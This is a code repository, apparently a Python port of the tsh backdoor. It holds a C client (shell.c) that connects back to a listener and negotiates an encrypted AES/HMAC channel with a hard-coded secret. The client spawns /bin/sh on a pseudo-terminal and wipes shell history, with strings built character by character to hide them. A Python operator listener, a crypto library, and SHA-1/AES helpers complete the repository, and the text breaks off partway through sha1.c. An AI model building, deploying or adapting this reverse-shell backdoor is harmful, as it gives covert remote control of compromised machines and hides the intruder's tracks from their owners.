├── requirements.txt ├── .gitignore ├── Makefile ├── README.MD ├── ptyshell.py ├── sha1.h ├── aes.h ├── pel.h ├── server.py ├── libs ├── ptyshell.py └── pel.py ├── shell.c ├── sha1.c ├── pel.c └── aes.c /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.15.0 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | .python-version 3 | client.c 4 | server.c 5 | server 6 | client 7 | pty -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | CLIENT_OBJ=pel.c aes.c sha1.c shell.c 3 | all: 4 | gcc -O3 -W -Wall -o pty $(CLIENT_OBJ) 5 | 6 | clean: 7 | rm -f *.o client server pty -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | # python实现的 tsh 通信 2 | 3 | 封装好的脚本在libs里面 4 | 5 | ## 说明 6 | ptyshell.py的客户端为shell.c 7 | 8 | 编译运行可获取交互shell。 9 | 10 | ## Tsh 11 | 12 | * https://github.com/creaktive/tsh 13 | * https://github.com/orangetw/tsh 14 | 15 | -------------------------------------------------------------------------------- /ptyshell.py: -------------------------------------------------------------------------------- 1 | from libs.pel import PEL_Server 2 | from libs.ptyshell import Shell 3 | from socket import * 4 | 5 | listen_sock = socket() 6 | listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 7 | listen_sock.bind(("0.0.0.0", 6666)) 8 | listen_sock.listen(1) 9 | 10 | conn, addr = listen_sock.accept() 11 | print("Connect from", addr) 12 | pel = PEL_Server(conn=conn) 13 | init = pel.pel_client_init() 14 | pty = Shell(conn, pel) 15 | pty.handle() -------------------------------------------------------------------------------- /sha1.h: -------------------------------------------------------------------------------- 1 | #ifndef _SHA1_H 2 | #define _SHA1_H 3 | 4 | #ifndef uint8 5 | #define uint8 unsigned char 6 | #endif 7 | 8 | #ifndef uint32 9 | #define uint32 unsigned long int 10 | #endif 11 | 12 | struct sha1_context 13 | { 14 | uint32 total[2]; 15 | uint32 state[5]; 16 | uint8 buffer[64]; 17 | }; 18 | 19 | void sha1_starts( struct sha1_context *ctx ); 20 | void sha1_update( struct sha1_context *ctx, uint8 *input, uint32 length ); 21 | void sha1_finish( struct sha1_context *ctx, uint8 digest[20] ); 22 | 23 | #endif /* sha1.h */ 24 | -------------------------------------------------------------------------------- /aes.h: -------------------------------------------------------------------------------- 1 | #ifndef _AES_H 2 | #define _AES_H 3 | 4 | #ifndef uint8 5 | #define uint8 unsigned char 6 | #endif 7 | 8 | #ifndef uint32 9 | #define uint32 unsigned long int 10 | #endif 11 | 12 | struct aes_context 13 | { 14 | int nr; /* number of rounds */ 15 | uint32 erk[64]; /* encryption round keys */ 16 | uint32 drk[64]; /* decryption round keys */ 17 | }; 18 | 19 | int aes_set_key( struct aes_context *ctx, uint8 *key, int nbits ); 20 | void aes_encrypt( struct aes_context *ctx, uint8 data[16] ); 21 | void aes_decrypt( struct aes_context *ctx, uint8 data[16] ); 22 | 23 | #endif /* aes.h */ 24 | -------------------------------------------------------------------------------- /pel.h: -------------------------------------------------------------------------------- 1 | #ifndef _PEL_H 2 | #define _PEL_H 3 | 4 | #define BUFSIZE 4096 /* maximum message length */ 5 | 6 | #define PEL_SUCCESS 1 7 | #define PEL_FAILURE 0 8 | 9 | #define PEL_SYSTEM_ERROR -1 10 | #define PEL_CONN_CLOSED -2 11 | #define PEL_WRONG_CHALLENGE -3 12 | #define PEL_BAD_MSG_LENGTH -4 13 | #define PEL_CORRUPTED_DATA -5 14 | #define PEL_UNDEFINED_ERROR -6 15 | 16 | extern int pel_errno; 17 | 18 | int pel_client_init( int server, char *key ); 19 | int pel_server_init( int client, char *key ); 20 | 21 | int pel_send_msg( int sockfd, unsigned char *msg, int length ); 22 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); 23 | 24 | #endif /* pel.h */ 25 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | from libs.pel import PEL_Server 2 | from socket import * 3 | 4 | listen_sock = socket() 5 | listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 6 | listen_sock.bind(("0.0.0.0", 6666)) 7 | listen_sock.listen(1) 8 | 9 | 10 | conn, addr = listen_sock.accept() 11 | print("Connect from", addr) 12 | pel = PEL_Server(conn=conn) 13 | pel.pel_client_init() 14 | # pel.pel_server_init() 15 | # data = pel.pel_recv_msg() 16 | # print(data) 17 | count = 1 18 | import uuid 19 | while True: 20 | send_data = str(uuid.uuid4()) 21 | msg = "=" * count 22 | status = pel.pel_send_msg(msg) 23 | if status is False: 24 | break 25 | print("Send datalen: {}".format(len(msg))) 26 | data = pel.pel_recv_msg() 27 | if not data: 28 | break 29 | print("Recv datalen: {}".format(len(data))) 30 | count+=1 31 | conn.close() 32 | 33 | -------------------------------------------------------------------------------- /libs/ptyshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import select 3 | import os 4 | import socket 5 | import shutil 6 | import pty, tty 7 | from struct import pack 8 | 9 | 10 | class Shell: 11 | def __init__(self, socks, pel): 12 | self.socks = socks 13 | self.pel = pel 14 | 15 | def handle(self): 16 | csock = self.socks 17 | try: 18 | fsock = csock.fileno() 19 | except socket.timeout: 20 | print(e) 21 | return 0 22 | self.pel.pel_send_msg(os.getenv("TERM", "xterm")) 23 | cols, rows = shutil.get_terminal_size() 24 | _tmp = pack("!HH", rows, cols) 25 | self.pel.pel_send_msg(_tmp) 26 | self.pel.pel_send_msg("bash") 27 | old_tc = tty.tcgetattr(pty.STDIN_FILENO) 28 | tty.setraw( pty.STDIN_FILENO ) 29 | print ("[x] Ok....\r") 30 | try: 31 | while True: 32 | r, w, e = select.select( [ fsock, pty.STDIN_FILENO ], [], [] ) 33 | if fsock in r: 34 | dat = self.pel.pel_recv_msg() 35 | if dat: 36 | os.write( pty.STDOUT_FILENO, dat ) 37 | else: 38 | tty.tcsetattr(pty.STDIN_FILENO, tty.TCSADRAIN, old_tc) 39 | break 40 | 41 | if pty.STDIN_FILENO in r: 42 | dat = os.read( pty.STDIN_FILENO, 1000 ) 43 | self.pel.pel_send_msg(dat) 44 | finally: 45 | tty.tcsetattr(pty.STDIN_FILENO, tty.TCSADRAIN, old_tc) 46 | print ("[!] client close connection....\r") 47 | csock.close() 48 | return 0 -------------------------------------------------------------------------------- /libs/pel.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import os 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Util.Padding import pad, unpad 6 | 7 | SECRET = "ThisisADemo" 8 | BUFSIZE = 4096 9 | CHALLENGE = b"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D" 10 | 11 | class PEL_Server: 12 | def __init__(self, conn) -> None: 13 | self.conn = conn 14 | self.send_ipad = b"" 15 | self.send_opad = b"" 16 | self.send_p_cntr = 0 17 | self.recv_ipad = b"" 18 | self.recv_opad = b"" 19 | self.recv_p_cntr = 0 20 | self.send_aes_key = b"" 21 | self.recv_aes_key = b"" 22 | self.send_IV = b"" 23 | self.recv_IV = b"" 24 | 25 | def pel_setup_context(self, IV): 26 | key = hashlib.sha1(SECRET.encode()) 27 | key.update(IV) 28 | key = key.digest() 29 | aes_key = key[:16] 30 | k_ipad = b"\x36" * 64 31 | k_opad = b"\x5C" * 64 32 | 33 | _t_ipad = bytearray(k_ipad) 34 | _t_opad = bytearray(k_opad) 35 | for i in range(20): 36 | _t_ipad[i] = _t_ipad[i] ^ key[i] 37 | _t_opad[i] = _t_opad[i] ^ key[i] 38 | ipad = bytes(_t_ipad) 39 | opad = bytes(_t_opad) 40 | p_cntr = 0 41 | return aes_key, ipad, opad, p_cntr 42 | 43 | def pel_recv_all(self, count): 44 | buffer = b"" 45 | while len(buffer) < count: 46 | tmp = self.conn.recv(min(65536, count - len(buffer))) 47 | if not tmp: 48 | break 49 | buffer = buffer + tmp 50 | return buffer 51 | 52 | def pel_send_all(self, data): 53 | self.conn.sendall(data, 0) 54 | 55 | def pel_recv_msg(self): 56 | try: 57 | # /* receive the first encrypted block */ 58 | data = self.pel_recv_all(16) 59 | ciphertext = data 60 | cypher = AES.new(self.recv_aes_key, AES.MODE_CBC, self.recv_IV) 61 | data_len_msg = cypher.decrypt(data) 62 | data_len = (data_len_msg[0] << 8) + data_len_msg[1] 63 | # /* verify the message length */ 64 | if data_len < 0 or data_len > BUFSIZE: 65 | print("[-] PEL_BAD_MSG_LENGTH") 66 | return None 67 | blk_len = 2 + data_len 68 | if (blk_len & 0x0F) != 0: 69 | blk_len += 16 - (blk_len & 0x0F) 70 | #/* receive the remaining ciphertext and the mac */ 71 | all_data = self.pel_recv_all(blk_len - 16 + 20 ) 72 | ciphertext += all_data 73 | hmac = ciphertext[blk_len:blk_len+20] 74 | # /* verify the ciphertext integrity */ 75 | _ciphertext = bytearray(ciphertext) 76 | _ciphertext[blk_len ] = (self.recv_p_cntr << 24) & 0xFF 77 | _ciphertext[blk_len + 1] = (self.recv_p_cntr << 16) & 0xFF 78 | _ciphertext[blk_len + 2] = (self.recv_p_cntr << 8) & 0xFF 79 | _ciphertext[blk_len + 3] = (self.recv_p_cntr) & 0xFF 80 | ciphertext = bytes(_ciphertext) 81 | _digest = hashlib.sha1(self.recv_ipad) 82 | _digest.update(ciphertext[:blk_len + 4]) 83 | _digest = _digest.digest() 84 | 85 | digest = hashlib.sha1(self.recv_opad) 86 | digest.update(_digest) 87 | digest = digest.digest() 88 | 89 | if hmac != digest: 90 | print("[-] PEL_CORRUPTED_DATA") 91 | return None 92 | 93 | # /* increment the packet counter */ 94 | self.recv_p_cntr += 1 95 | 96 | # /* decrypt the ciphertext */ 97 | cypher = AES.new(self.recv_aes_key, AES.MODE_CBC, self.recv_IV) 98 | 99 | plain_data = cypher.decrypt(ciphertext[:blk_len]) 100 | self.recv_IV = ciphertext[blk_len-16:blk_len] 101 | msg = plain_data[2:2+data_len] 102 | return msg 103 | except Exception as e: 104 | print("[-] PEL_RECV_MSG_ERROR: ", e) 105 | return None 106 | 107 | def pel_send_msg(self, msg): 108 | try: 109 | # /* verify the message length */ 110 | if type(msg) == str: 111 | msg = msg.encode() 112 | length = len(msg) 113 | if length <= 0 or length > BUFSIZE: 114 | print("[-] PEL_BAD_MSG_LENGTH") 115 | return False 116 | #/* write the message length at start of buffer */ 117 | _data_len_msg = bytearray(2) 118 | _data_len_msg[0] = (length >> 8) & 0xFF 119 | _data_len_msg[1] = (length) & 0xFF 120 | buffer = _data_len_msg + bytearray(msg) 121 | msg = bytes(buffer) 122 | # /* round up to AES block length (16 bytes) */ 123 | blk_len = 2 + length; 124 | 125 | if (blk_len & 0x0F ) != 0 : 126 | blk_len += 16 - ( blk_len & 0x0F) 127 | #/* encrypt the buffer with AES-CBC-128 */ 128 | cypher = AES.new(self.send_aes_key, AES.MODE_CBC, self.send_IV) 129 | 130 | encrypted_data = cypher.encrypt(pad(msg, 16)) 131 | 132 | self.send_IV = encrypted_data[blk_len-16:blk_len] 133 | _buffer = bytearray(4) 134 | _buffer[0] = (self.send_p_cntr << 24) & 0xFF 135 | _buffer[1] = (self.send_p_cntr << 16) & 0xFF 136 | _buffer[2] = (self.send_p_cntr << 8) & 0xFF 137 | _buffer[3] = (self.send_p_cntr) & 0xFF 138 | 139 | buffer = bytes(bytearray(encrypted_data) + _buffer) 140 | 141 | # /* compute the HMAC-SHA1 of the ciphertext */ 142 | _digest = hashlib.sha1(self.send_ipad) 143 | _digest.update(buffer) 144 | _digest = _digest.digest() 145 | 146 | digest = hashlib.sha1(self.send_opad) 147 | digest.update(_digest) 148 | digest = digest.digest() 149 | 150 | # /* increment the packet counter */ 151 | self.send_p_cntr += 1 152 | 153 | # /* send the ciphertext and the HMAC */ 154 | finnal = bytes(bytearray(encrypted_data) + bytearray(digest)) 155 | self.pel_send_all(finnal[:blk_len+20]) 156 | return True 157 | except Exception as e: 158 | print(e) 159 | return False 160 | 161 | def pel_server_init(self): 162 | try: 163 | # /* get the IVs from the client */ 164 | data = self.conn.recv(40) 165 | IV2 = data[:20] 166 | IV1 = data[20:] 167 | self.send_aes_key, self.send_ipad, self.send_opad, self.send_p_cntr = self.pel_setup_context(IV1) 168 | self.recv_aes_key, self.recv_ipad, self.recv_opad, self.recv_p_cntr = self.pel_setup_context(IV2) 169 | self.recv_IV = IV2[:16] 170 | self.send_IV = IV1[:16] 171 | # /* handshake - decrypt and verify the client's challenge */ 172 | handshake = self.pel_recv_msg() 173 | if handshake is None: 174 | print("[-] PEL_WRONG_CHALLENGE") 175 | return None 176 | 177 | # /* send the server's challenge */ 178 | msg = CHALLENGE 179 | self.pel_send_msg(msg) 180 | except Exception as e: 181 | print(e) 182 | return None 183 | 184 | 185 | def pel_client_init(self): 186 | #/* generate both initialization vectors */ 187 | try: 188 | random_1 = os.urandom(16) 189 | random_2 = os.urandom(16) 190 | _tmp1 = hashlib.sha1(random_1) 191 | _tmp2 = hashlib.sha1(random_2) 192 | IV1 = _tmp1.digest() 193 | IV2 = _tmp2.digest() 194 | data = IV1 + IV2 195 | self.pel_send_all(data) 196 | self.send_aes_key, self.send_ipad, self.send_opad, self.send_p_cntr = self.pel_setup_context(IV1) 197 | self.recv_aes_key, self.recv_ipad, self.recv_opad, self.recv_p_cntr = self.pel_setup_context(IV2) 198 | self.recv_IV = IV2[:16] 199 | self.send_IV = IV1[:16] 200 | msg = CHALLENGE 201 | self.pel_send_msg(msg) 202 | handshake = self.pel_recv_msg() 203 | if handshake == msg: 204 | return True 205 | except Exception as e: 206 | print(e) 207 | return False -------------------------------------------------------------------------------- /shell.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "pel.h" 15 | 16 | 17 | #if defined LINUX || defined OSF 18 | #include 19 | #else 20 | #if defined FREEBSD 21 | #include 22 | #else 23 | #if defined OPENBSD || defined __APPLE__ 24 | #include 25 | #else 26 | #if defined SUNOS || defined HPUX 27 | #include 28 | #else 29 | #endif 30 | #endif 31 | #endif 32 | #endif 33 | 34 | #define SECRET "ThisisADemo" 35 | #define CONNECT_BACK_HOST "127.0.0.1" 36 | #define SERVER_PORT 6666 37 | #define BUFSIZE 4096 /* maximum message length */ 38 | 39 | unsigned char message[BUFSIZE + 1]; 40 | 41 | int tshd_runshell( int client ); 42 | 43 | int main(){ 44 | char secret[32] = {0}; 45 | strcpy(secret, SECRET); 46 | struct hostent *client_host; 47 | struct sockaddr_in client_addr; 48 | int client = socket( AF_INET, SOCK_STREAM, 0 ); 49 | 50 | if( client < 0 ) 51 | { 52 | return -1; 53 | } 54 | 55 | /* resolve the client hostname */ 56 | 57 | client_host = gethostbyname( CONNECT_BACK_HOST ); 58 | 59 | if( client_host == NULL ) 60 | { 61 | return -1; 62 | } 63 | memcpy( (void *) &client_addr.sin_addr, 64 | (void *) client_host->h_addr, 65 | client_host->h_length ); 66 | 67 | client_addr.sin_family = AF_INET; 68 | client_addr.sin_port = htons( SERVER_PORT ); 69 | 70 | /* try to connect back to the client */ 71 | int ret = connect( client, (struct sockaddr *) &client_addr, 72 | sizeof( client_addr ) ); 73 | 74 | if( ret < 0 ) 75 | { 76 | close( client ); 77 | return -1; 78 | } 79 | /* fork a child to handle the connection */ 80 | 81 | int pid = fork(); 82 | 83 | if( pid < 0 ) 84 | { 85 | close( client ); 86 | return -1; 87 | } 88 | 89 | if( pid != 0 ) 90 | { 91 | waitpid( pid, NULL, 0 ); 92 | close( client ); 93 | return -1; 94 | } 95 | printf("Init client"); 96 | //ret = pel_client_init( client, secret ); 97 | ret = pel_server_init( client, secret ); 98 | if( ret != PEL_SUCCESS ) 99 | { 100 | shutdown( client, 2 ); 101 | return( 10 ); 102 | }else{ 103 | printf("\ninit ok!!\n"); 104 | } 105 | 106 | alarm( 0 ); 107 | ret = tshd_runshell( client ); 108 | return 0; 109 | } 110 | 111 | int tshd_runshell( int client ) 112 | { 113 | fd_set rd; 114 | struct winsize ws; 115 | char *slave, *temp, *shell; 116 | int ret, len, pid, pty, tty, n; 117 | 118 | /* request a pseudo-terminal */ 119 | 120 | #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF || defined __APPLE__ 121 | 122 | if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 ) 123 | { 124 | return( 24 ); 125 | } 126 | 127 | slave = ttyname( tty ); 128 | 129 | if( slave == NULL ) 130 | { 131 | return( 25 ); 132 | } 133 | 134 | #else 135 | #if defined IRIX 136 | 137 | slave = _getpty( &pty, O_RDWR, 0622, 0 ); 138 | 139 | if( slave == NULL ) 140 | { 141 | return( 26 ); 142 | } 143 | 144 | tty = open( slave, O_RDWR | O_NOCTTY ); 145 | 146 | if( tty < 0 ) 147 | { 148 | return( 27 ); 149 | } 150 | 151 | #else 152 | #if defined CYGWIN || defined SUNOS || defined HPUX 153 | 154 | pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY ); 155 | 156 | if( pty < 0 ) 157 | { 158 | return( 28 ); 159 | } 160 | 161 | if( grantpt( pty ) < 0 ) 162 | { 163 | return( 29 ); 164 | } 165 | 166 | if( unlockpt( pty ) < 0 ) 167 | { 168 | return( 30 ); 169 | } 170 | 171 | slave = ptsname( pty ); 172 | 173 | if( slave == NULL ) 174 | { 175 | return( 31 ); 176 | } 177 | 178 | tty = open( slave, O_RDWR | O_NOCTTY ); 179 | 180 | if( tty < 0 ) 181 | { 182 | return( 32 ); 183 | } 184 | 185 | #if defined SUNOS || defined HPUX 186 | 187 | if( ioctl( tty, I_PUSH, "ptem" ) < 0 ) 188 | { 189 | return( 33 ); 190 | } 191 | 192 | if( ioctl( tty, I_PUSH, "ldterm" ) < 0 ) 193 | { 194 | return( 34 ); 195 | } 196 | 197 | #if defined SUNOS 198 | 199 | if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 ) 200 | { 201 | return( 35 ); 202 | } 203 | 204 | #endif 205 | #endif 206 | #endif 207 | #endif 208 | #endif 209 | 210 | /* just in case bash is run, kill the history file */ 211 | 212 | temp = (char *) malloc( 10 ); 213 | 214 | if( temp == NULL ) 215 | { 216 | return( 36 ); 217 | } 218 | 219 | temp[0] = 'H'; temp[5] = 'I'; 220 | temp[1] = 'I'; temp[6] = 'L'; 221 | temp[2] = 'S'; temp[7] = 'E'; 222 | temp[3] = 'T'; temp[8] = '='; 223 | temp[4] = 'F'; temp[9] = '\0'; 224 | 225 | putenv( temp ); 226 | 227 | /* get the TERM environment variable */ 228 | 229 | ret = pel_recv_msg( client, message, &len ); 230 | 231 | if( ret != PEL_SUCCESS ) 232 | { 233 | return( 37 ); 234 | } 235 | 236 | message[len] = '\0'; 237 | 238 | temp = (char *) malloc( len + 6 ); 239 | 240 | if( temp == NULL ) 241 | { 242 | return( 38 ); 243 | } 244 | 245 | temp[0] = 'T'; temp[3] = 'M'; 246 | temp[1] = 'E'; temp[4] = '='; 247 | temp[2] = 'R'; 248 | 249 | strncpy( temp + 5, (char *) message, len + 1 ); 250 | 251 | putenv( temp ); 252 | 253 | /* get the window size */ 254 | 255 | ret = pel_recv_msg( client, message, &len ); 256 | 257 | if( ret != PEL_SUCCESS || len != 4 ) 258 | { 259 | return( 39 ); 260 | } 261 | 262 | ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1]; 263 | ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3]; 264 | 265 | ws.ws_xpixel = 0; 266 | ws.ws_ypixel = 0; 267 | 268 | if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 ) 269 | { 270 | return( 40 ); 271 | } 272 | 273 | /* get the system command */ 274 | 275 | ret = pel_recv_msg( client, message, &len ); 276 | 277 | if( ret != PEL_SUCCESS ) 278 | { 279 | return( 41 ); 280 | } 281 | 282 | message[len] = '\0'; 283 | 284 | temp = (char *) malloc( len + 1 ); 285 | 286 | if( temp == NULL ) 287 | { 288 | return( 42 ); 289 | } 290 | 291 | strncpy( temp, (char *) message, len + 1 ); 292 | 293 | /* fork to spawn a shell */ 294 | 295 | pid = fork(); 296 | 297 | if( pid < 0 ) 298 | { 299 | return( 43 ); 300 | } 301 | 302 | if( pid == 0 ) 303 | { 304 | /* close the client socket and the pty (master side) */ 305 | 306 | close( client ); 307 | close( pty ); 308 | 309 | /* create a new session */ 310 | 311 | if( setsid() < 0 ) 312 | { 313 | return( 44 ); 314 | } 315 | 316 | /* set controlling tty, to have job control */ 317 | 318 | #if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF || defined __APPLE__ 319 | 320 | if( ioctl( tty, TIOCSCTTY, NULL ) < 0 ) 321 | { 322 | return( 45 ); 323 | } 324 | 325 | #else 326 | #if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX 327 | 328 | { 329 | int fd; 330 | 331 | fd = open( slave, O_RDWR ); 332 | 333 | if( fd < 0 ) 334 | { 335 | return( 46 ); 336 | } 337 | 338 | close( tty ); 339 | 340 | tty = fd; 341 | } 342 | 343 | #endif 344 | #endif 345 | 346 | /* tty becomes stdin, stdout, stderr */ 347 | 348 | dup2( tty, 0 ); 349 | dup2( tty, 1 ); 350 | dup2( tty, 2 ); 351 | 352 | if( tty > 2 ) 353 | { 354 | close( tty ); 355 | } 356 | 357 | /* fire up the shell */ 358 | 359 | shell = (char *) malloc( 8 ); 360 | 361 | if( shell == NULL ) 362 | { 363 | return( 47 ); 364 | } 365 | 366 | shell[0] = '/'; shell[4] = '/'; 367 | shell[1] = 'b'; shell[5] = 's'; 368 | shell[2] = 'i'; shell[6] = 'h'; 369 | shell[3] = 'n'; shell[7] = '\0'; 370 | 371 | execl( shell, shell + 5, "-c", temp, (char *) 0 ); 372 | 373 | /* d0h, this shouldn't happen */ 374 | 375 | return( 48 ); 376 | } 377 | else 378 | { 379 | /* tty (slave side) not needed anymore */ 380 | 381 | close( tty ); 382 | 383 | /* let's forward the data back and forth */ 384 | 385 | while( 1 ) 386 | { 387 | FD_ZERO( &rd ); 388 | FD_SET( client, &rd ); 389 | FD_SET( pty, &rd ); 390 | 391 | n = ( pty > client ) ? pty : client; 392 | 393 | if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 ) 394 | { 395 | return( 49 ); 396 | } 397 | 398 | if( FD_ISSET( client, &rd ) ) 399 | { 400 | ret = pel_recv_msg( client, message, &len ); 401 | 402 | if( ret != PEL_SUCCESS ) 403 | { 404 | return( 50 ); 405 | } 406 | 407 | if( write( pty, message, len ) != len ) 408 | { 409 | return( 51 ); 410 | } 411 | } 412 | 413 | if( FD_ISSET( pty, &rd ) ) 414 | { 415 | len = read( pty, message, BUFSIZE ); 416 | 417 | if( len == 0 ) break; 418 | 419 | if( len < 0 ) 420 | { 421 | return( 52 ); 422 | } 423 | 424 | ret = pel_send_msg( client, message, len ); 425 | 426 | if( ret != PEL_SUCCESS ) 427 | { 428 | return( 53 ); 429 | } 430 | } 431 | } 432 | 433 | return( 54 ); 434 | } 435 | 436 | /* not reached */ 437 | 438 | return( 55 ); 439 | } 440 | -------------------------------------------------------------------------------- /sha1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FIPS 180-1 compliant SHA-1 implementation, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include "sha1.h" 9 | 10 | #define GET_UINT32(n,b,i) \ 11 | { \ 12 | (n) = ( (uint32) (b)[(i) ] << 24 ) \ 13 | | ( (uint32) (b)[(i) + 1] << 16 ) \ 14 | | ( (uint32) (b)[(i) + 2] << 8 ) \ 15 | | ( (uint32) (b)[(i) + 3] ); \ 16 | } 17 | 18 | #define PUT_UINT32(n,b,i) \ 19 | { \ 20 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \ 21 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ 22 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ 23 | (b)[(i) + 3] = (uint8) ( (n) ); \ 24 | } 25 | 26 | void sha1_starts( struct sha1_context *ctx ) 27 | { 28 | ctx->total[0] = 0; 29 | ctx->total[1] = 0; 30 | ctx->state[0] = 0x67452301; 31 | ctx->state[1] = 0xEFCDAB89; 32 | ctx->state[2] = 0x98BADCFE; 33 | ctx->state[3] = 0x10325476; 34 | ctx->state[4] = 0xC3D2E1F0; 35 | } 36 | 37 | void sha1_process( struct sha1_context *ctx, uint8 data[64] ) 38 | { 39 | uint32 temp, A, B, C, D, E, W[16]; 40 | 41 | GET_UINT32( W[0], data, 0 ); 42 | GET_UINT32( W[1], data, 4 ); 43 | GET_UINT32( W[2], data, 8 ); 44 | GET_UINT32( W[3], data, 12 ); 45 | GET_UINT32( W[4], data, 16 ); 46 | GET_UINT32( W[5], data, 20 ); 47 | GET_UINT32( W[6], data, 24 ); 48 | GET_UINT32( W[7], data, 28 ); 49 | GET_UINT32( W[8], data, 32 ); 50 | GET_UINT32( W[9], data, 36 ); 51 | GET_UINT32( W[10], data, 40 ); 52 | GET_UINT32( W[11], data, 44 ); 53 | GET_UINT32( W[12], data, 48 ); 54 | GET_UINT32( W[13], data, 52 ); 55 | GET_UINT32( W[14], data, 56 ); 56 | GET_UINT32( W[15], data, 60 ); 57 | 58 | #define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) 59 | 60 | #define R(t) \ 61 | ( \ 62 | temp = W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ \ 63 | W[(t - 14) & 0x0F] ^ W[ t & 0x0F], \ 64 | ( W[t & 0x0F] = S(temp,1) ) \ 65 | ) 66 | 67 | #define P(a,b,c,d,e,x) \ 68 | { \ 69 | e += S(a,5) + F(b,c,d) + K + x; b = S(b,30); \ 70 | } 71 | 72 | A = ctx->state[0]; 73 | B = ctx->state[1]; 74 | C = ctx->state[2]; 75 | D = ctx->state[3]; 76 | E = ctx->state[4]; 77 | 78 | #define F(x,y,z) (z ^ (x & (y ^ z))) 79 | #define K 0x5A827999 80 | 81 | P( A, B, C, D, E, W[0] ); 82 | P( E, A, B, C, D, W[1] ); 83 | P( D, E, A, B, C, W[2] ); 84 | P( C, D, E, A, B, W[3] ); 85 | P( B, C, D, E, A, W[4] ); 86 | P( A, B, C, D, E, W[5] ); 87 | P( E, A, B, C, D, W[6] ); 88 | P( D, E, A, B, C, W[7] ); 89 | P( C, D, E, A, B, W[8] ); 90 | P( B, C, D, E, A, W[9] ); 91 | P( A, B, C, D, E, W[10] ); 92 | P( E, A, B, C, D, W[11] ); 93 | P( D, E, A, B, C, W[12] ); 94 | P( C, D, E, A, B, W[13] ); 95 | P( B, C, D, E, A, W[14] ); 96 | P( A, B, C, D, E, W[15] ); 97 | P( E, A, B, C, D, R(16) ); 98 | P( D, E, A, B, C, R(17) ); 99 | P( C, D, E, A, B, R(18) ); 100 | P( B, C, D, E, A, R(19) ); 101 | 102 | #undef K 103 | #undef F 104 | 105 | #define F(x,y,z) (x ^ y ^ z) 106 | #define K 0x6ED9EBA1 107 | 108 | P( A, B, C, D, E, R(20) ); 109 | P( E, A, B, C, D, R(21) ); 110 | P( D, E, A, B, C, R(22) ); 111 | P( C, D, E, A, B, R(23) ); 112 | P( B, C, D, E, A, R(24) ); 113 | P( A, B, C, D, E, R(25) ); 114 | P( E, A, B, C, D, R(26) ); 115 | P( D, E, A, B, C, R(27) ); 116 | P( C, D, E, A, B, R(28) ); 117 | P( B, C, D, E, A, R(29) ); 118 | P( A, B, C, D, E, R(30) ); 119 | P( E, A, B, C, D, R(31) ); 120 | P( D, E, A, B, C, R(32) ); 121 | P( C, D, E, A, B, R(33) ); 122 | P( B, C, D, E, A, R(34) ); 123 | P( A, B, C, D, E, R(35) ); 124 | P( E, A, B, C, D, R(36) ); 125 | P( D, E, A, B, C, R(37) ); 126 | P( C, D, E, A, B, R(38) ); 127 | P( B, C, D, E, A, R(39) ); 128 | 129 | #undef K 130 | #undef F 131 | 132 | #define F(x,y,z) ((x & y) | (z & (x | y))) 133 | #define K 0x8F1BBCDC 134 | 135 | P( A, B, C, D, E, R(40) ); 136 | P( E, A, B, C, D, R(41) ); 137 | P( D, E, A, B, C, R(42) ); 138 | P( C, D, E, A, B, R(43) ); 139 | P( B, C, D, E, A, R(44) ); 140 | P( A, B, C, D, E, R(45) ); 141 | P( E, A, B, C, D, R(46) ); 142 | P( D, E, A, B, C, R(47) ); 143 | P( C, D, E, A, B, R(48) ); 144 | P( B, C, D, E, A, R(49) ); 145 | P( A, B, C, D, E, R(50) ); 146 | P( E, A, B, C, D, R(51) ); 147 | P( D, E, A, B, C, R(52) ); 148 | P( C, D, E, A, B, R(53) ); 149 | P( B, C, D, E, A, R(54) ); 150 | P( A, B, C, D, E, R(55) ); 151 | P( E, A, B, C, D, R(56) ); 152 | P( D, E, A, B, C, R(57) ); 153 | P( C, D, E, A, B, R(58) ); 154 | P( B, C, D, E, A, R(59) ); 155 | 156 | #undef K 157 | #undef F 158 | 159 | #define F(x,y,z) (x ^ y ^ z) 160 | #define K 0xCA62C1D6 161 | 162 | P( A, B, C, D, E, R(60) ); 163 | P( E, A, B, C, D, R(61) ); 164 | P( D, E, A, B, C, R(62) ); 165 | P( C, D, E, A, B, R(63) ); 166 | P( B, C, D, E, A, R(64) ); 167 | P( A, B, C, D, E, R(65) ); 168 | P( E, A, B, C, D, R(66) ); 169 | P( D, E, A, B, C, R(67) ); 170 | P( C, D, E, A, B, R(68) ); 171 | P( B, C, D, E, A, R(69) ); 172 | P( A, B, C, D, E, R(70) ); 173 | P( E, A, B, C, D, R(71) ); 174 | P( D, E, A, B, C, R(72) ); 175 | P( C, D, E, A, B, R(73) ); 176 | P( B, 